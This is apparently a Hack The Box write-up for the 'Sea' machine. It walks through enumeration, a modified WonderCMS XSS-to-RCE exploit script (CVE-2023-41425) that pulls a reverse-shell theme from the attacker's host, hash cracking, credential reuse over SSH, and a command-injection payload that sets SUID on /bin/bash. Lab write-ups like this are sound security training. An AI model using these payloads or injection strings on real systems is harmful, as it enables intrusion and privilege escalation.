Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_  256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sea - Home
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

After running a good old nmap scan I find the expected HTTP server and SSH listening on the machine. What was not excepted is the missing domain of the website (since this is basically always case in HTB machines). To make my life a little bit easier I still add the machine IP and the domain sea.htb to my /etc/hosts file.

Foothold as www-data

The website has very little to offer in terms of information about the target machine or user interaction. Clicking around on the website I found a contact form at http://sea.htb/contact.php. Which has a plethora of fields, were I could supply potentially malicious data.

Identifying CMS

While there are no subdomains to fuzz here I will still use fuff to find potentially hidden directories on the web server. And based on the first round of fuzzing I find the /themes directory. This finding leads me to belief that some sort of CMS is in play here.

$ ffuf -u 'http://sea.htb/FUZZ' -w '/usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt'
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://sea.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
.php                    [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 12ms]
data                    [Status: 301, Size: 228, Words: 14, Lines: 8, Duration: 12ms]
404                     [Status: 200, Size: 3341, Words: 530, Lines: 85, Duration: 17ms]
home                    [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 14ms]
.                       [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 15ms]
themes                  [Status: 301, Size: 230, Words: 14, Lines: 8, Duration: 768ms]
messages                [Status: 301, Size: 232, Words: 14, Lines: 8, Duration: 12ms]
0                       [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 15ms]
plugins                 [Status: 301, Size: 231, Words: 14, Lines: 8, Duration: 1096ms]

From here on out I figured out the CMS through two different methods. For both of them I do a second round of fuzzing to find the /themes/bike directory. Putting one and one together the background image of the website might be part of the theme.

As such I can use Google Reverse Image search to find other instances where this image is used. From there you will find mentions of wonderCMS, or a write-up of this machine depending on when you do the box.

The other method requires some more fuzzing going even deeper and trying out some different wordlists when you think you’re at the deepest level.

$ ffuf -u 'http://sea.htb/themes/bike/FUZZ' -w '/usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt'
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://sea.htb/themes/bike/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
<SNIP>
admin%20/               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 24ms]
index.phps              [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 21ms]
New%20Folder            [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 17ms]
New%20folder%20(2)      [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 17ms]
Read%20Me.txt           [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 16ms]
README.md               [Status: 200, Size: 318, Words: 40, Lines: 16, Duration: 17ms]
sym/root/home/          [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 24ms]
version                 [Status: 200, Size: 6, Words: 1, Lines: 2, Duration: 22ms]
:: Progress: [2565/2565] :: Job [1/1] :: 127 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

This round of fuzzing found the file http://sea.htb/themes/bike/README.md, which will also tells that wonderCMS is used on this website.

README.md
# WonderCMS bike theme
 
## Description
Includes animations.
 
## Author: turboblack
 
## Preview
![Theme preview](/preview.jpg)
 
## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes".
3. Find theme in the list and click "install".
4. In the "General" tab, select theme to activate it.

The latest round of fuzzing also found a version file, which might “only” be the version of the theme, but it could also be the version of wonderCMS itself. So I start looking for potential CVEs and come back later if this fails.

$ curl http://sea.htb/themes/bike/version
3.2.0

CVE-2023-41425

Once I have identified the version number I can start looking for exploits and I find a promising looking one. CVE-2023-41425 is a XSS vulnerability that allows for arbitrary code execution on the host system. This needs a logged in to user to access the XSS so I will submit the generated payload through the contact form. A proof-of-concept for this vulnerability is also available.

Looking at the source code I can see that the exploit will download a PHP reverse shell from Github. This will not work in a HTB setting (since the machines do not have internet access). So I also download the reverse shell from Github to host it on my attacker machine.

$ wget https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip

But this is not all that I have to do to get the exploit working. I had to change the URL within the JavaScript, that will be generated, to point my local webserver. After looking at the example in the repository and the code I see that the script expects the target URL to look like this http://sea.htb/loginURL. Conforming to the expected URL structure I noticed that this messed up the original urlWithoutLogBase variable, so that it did not point to the wonderCMS base. To solve these issues I chose the hardcode the base URL instead.

# Author: prodigiousMind
# Exploit: Wondercms 4.3.2 XSS to RCE
 
 
import sys
import requests
import os
import bs4
 
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
  data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
 url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = "http://sea.htb";
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.156:8000/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "'''+str(sys.argv[2])+'''";
       var port = "'''+str(sys.argv[3])+'''";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
       
     }
   };
 }
};
'''
  try:
    open("xss.js","w").write(data)
    print("[+] xss.js is created")
    print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
    print("----------------------------\n")
    XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
    XSSlink = XSSlink.strip(" ")
    print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
    print("----------------------------\n")
 
    print("\nstarting HTTP server to allow the access to xss.js")
    os.system("python3 -m http.server\n")
  except: print(data,"\n","//write this to a file")
 

Now with those changes made I can successfully execute the script and submit the generated payload in the “Website” field of the contact form. Shortly after that I see a successful reverse shell connection, that I stabilise with the usual Python “trick”.

$ python3 exploit.py http://sea.htb/loginURL 10.10.14.156 9001
[+] xss.js is created
[+] execute the below command in another terminal
 
----------------------------
nc -lvp 9001
----------------------------
 
send the below link to admin:
 
----------------------------
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.156:8000/xss.js"></script><form+action="
----------------------------
 
 
starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.140.112 - - [16/Aug/2024 06:00:37] "GET /xss.js HTTP/1.1" 200 -
10.129.140.112 - - [16/Aug/2024 06:00:42] "GET /main.zip HTTP/1.1" 200 -
10.129.140.112 - - [16/Aug/2024 06:00:43] "GET /main.zip HTTP/1.1" 200 -
10.129.140.112 - - [16/Aug/2024 06:00:43] "GET /main.zip HTTP/1.1" 200 -
10.129.140.112 - - [16/Aug/2024 06:00:43] "GET /main.zip HTTP/1.1" 200 -

Shell as amay

Landing a shell as www-data I first check what other users are on the machine. There I can see two other users named geo and amay. I do this with the intention of later trying for password reuse from for example a DB to the SSH login of a user.

www-data@sea:/$ grep sh$ /etc/passwd
grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash

I than look around the /var/www/sea/data directory and find a file called database.js, which contains JSON data and a brcypt hashed password. However the / in the hash is escaped with a back-slash, which I remove before handing the hash over to hashcat.

www-data@sea:/var/www/sea/data$ cat database.js
cat database.js
{
    "config": {
        "siteTitle": "Sea",
        "theme": "bike",
        "defaultPage": "home",
        "login": "loginURL",
        "forceLogout": false,
        "forceHttps": false,
        "saveChangesPopup": false,
        "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
        "lastLogins": {
            "2024\/07\/31 15:17:10": "127.0.0.1",
            "2024\/07\/31 15:15:10": "127.0.0.1",
            "2024\/07\/31 15:14:10": "127.0.0.1"
        },
...SNIP...

Using the usual rockyou.txt wordlist will recover the password of mychemicalromance. Since I already know the names of the two other users on the machine I try out their username and the password and SSH. Getting me a shell on the machine as amay.

$ hashcat -m 3200 hashes/sea.txt rockyou.txt --show
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance

Shell as root

Before bringing out any of the “big gun(s)” such as LinPEAS I do some light manual enumeration, which basically boils down to sudo -l and netstat -tulpen. The latter reveals a potential different web server listening only on localhost.

amay@sea:~$ netstat -tulpen
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name
tcp        0      0 127.0.0.1:43245         0.0.0.0:*               LISTEN      1001       29606      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      0          27159      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      0          27025      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      101        25525      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          27130      -
tcp6       0      0 :::22                   :::*                    LISTEN      0          27132      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           101        25524      -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           0          22222      -
 

To access this service from my attacker machine I use SSH to do some local port forwarding. This will allow me to access the service listening on port 8080 through port 9080 on my machine.

$ ssh -L 9080:localhost:8080 amay@sea.htb

Local Webserver

The website immediately prompts me for HTTP Basic Authentication. Since I only have one set of credentials amay:mychemicalromance I reuse those, which successfully login me in. There I am presented a DIY-looking website.

Looking at the traffic generated by this page most of the buttons under “System Management” don’t do anything. The only implemented feature is “Analyze Log File”, which will result in the following POST request.

POST / HTTP/1.1
Host: localhost:9080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://localhost:9080
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: close
Referer: http://localhost:9080/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
 
log_file=%2Fvar%2Flog%2Fauth.log&analyze_log=

The log_file parameter almost screams path traversal or command injection vulnerability.

Why does it scream that?

In the original parameter I see that an absolute path is used to describe which log file to read. Combining this information with the general DIY-vibe of the website I made the educated guess that the developer might not check/sanitize the user provided input. Since I also get something back the website might not just include the file but run a command with the supplied log file. This means command injection is also an option. Last but least this is an easy box and this feature was the only working one on the website. And since intential rabit hole should not be a part of easy boxes this likely meant I was on the right path.

Replacing the to be analysed log file with the root flag will read the file, but does not return the flag. Once I add a command injection the response will contain the flag.

$ curl -X POST -d "log_file=%2Froot%2Froot.txt;id&analyze_log=" -H "Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==" http://127.0.0.1:8080/
 
 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>System Monitor(Developing)</title>
...SNIP...
            6a1d41c7b215089511714dfd2a27aa60
<p class='error'>Suspicious traffic patterns detected in /root/root.txt;id:</p><pre>6a1d41c7b215089511714dfd2a27aa60</pre>        </div>
 
    </div>
</body>
</html>

Given that the command injection attempt caused the response to change I try to elevate my privileges next. Since I did not recieve the output of id I could have also tested it with touch for example. To gain a shell as root I use chmod to add the SUID bit to /bin/bash.

$ curl -X POST -d "log_file=%2Froot%2Froot.txt;chmod+%2bs+/bin/bash&analyze_log=" -H "Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==" http://127.0.0.1:9080/

With the SUID bit set I can now get my root shell.

amay@sea:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
amay@sea:~$ /bin/bash -p
bash-5.0# id
uid=1000(amay) gid=1000(amay) euid=0(root) egid=0(root) groups=0(root),1000(amay)